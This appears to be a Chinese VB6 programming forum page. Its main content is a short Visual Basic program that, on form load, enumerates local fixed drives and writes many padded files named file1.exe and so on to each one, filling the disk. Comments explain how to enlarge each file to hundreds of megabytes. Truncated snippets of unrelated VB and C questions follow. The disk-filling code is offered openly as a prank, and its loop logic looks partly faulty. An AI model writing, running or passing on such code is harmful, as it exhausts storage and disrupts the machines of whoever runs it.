Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Sub Form_Load()
Label1.Caption = ""
Dim X As Integer, I As Integer, R As String, h As Integer, str As String, J As Integer
X = 0
I = 67
J = 1
Do While X <> 1
X = GetDriveType(Chr(I) + ":")
If X = 3 Then
R = Chr(I)
Label1.Caption = Label1.Caption & R
End If
I = I + 1
For J = 1 To 100
For h = 1 To 100
str = Left(R, J)
Open str + ":\file" + CStr(h) + ".exe" For Random As 1
DoEvents
Put #1, 300000, "file"
'注释: 这里的这个30000是控制生成文件大小的?
' 注释：30000产生的文件大小是3.6M左右
' 注释：10000产生的文件大小是1.2M左右
' 注释：如果你改为3000000的话，那就是360M，不要太坏哦！
Close #1
Next
Next
Loop
相关问答：
我在类中有一个函数
Public Function DownloadAdditionalSite(SiteName As siteconfig, Directory As String, ymd As String) As Boolean
siteconfig是我自定义类型的数据，为什么会提示“只有在公共对象模块中� ......
现在我想根据treeview上每个节点的权限，没有权限的节点不能被选中，而且成灰色，怎么实现，在线等。。。
这个？。。。
貌似没法。
试试能不能改某些node的颜色，记录下上次的nodeclick里的node。
下次点击的如� ......
Private Sub Command1_Click()
Dim MyString() As String
Open "a.xml" For Binary As #1 ' 打开刚创建的文件。
ReDim MyString(LOF(1) - 1)
Put #1, , MyRecord ' 读入所有字符到变量中 ......
vb WebBrowser 小问题，请教：
WebBrowser里的网址跳转后，怎么取得跳转后的页面的URL地址
顶下顶下
引用
BeforeNavigate2
好像没有这个吧 vb6.0
BeforeNavigate2
这个可以有，呵呵。
......
挺繁琐，之前发的帖子，分值太低现在重发一个。欢迎各位大侠~~
#include "stdlib.h"
#include "math.h"
#include "stdio.h"
float objfx(float x[]);
void constraint(float x[] ......
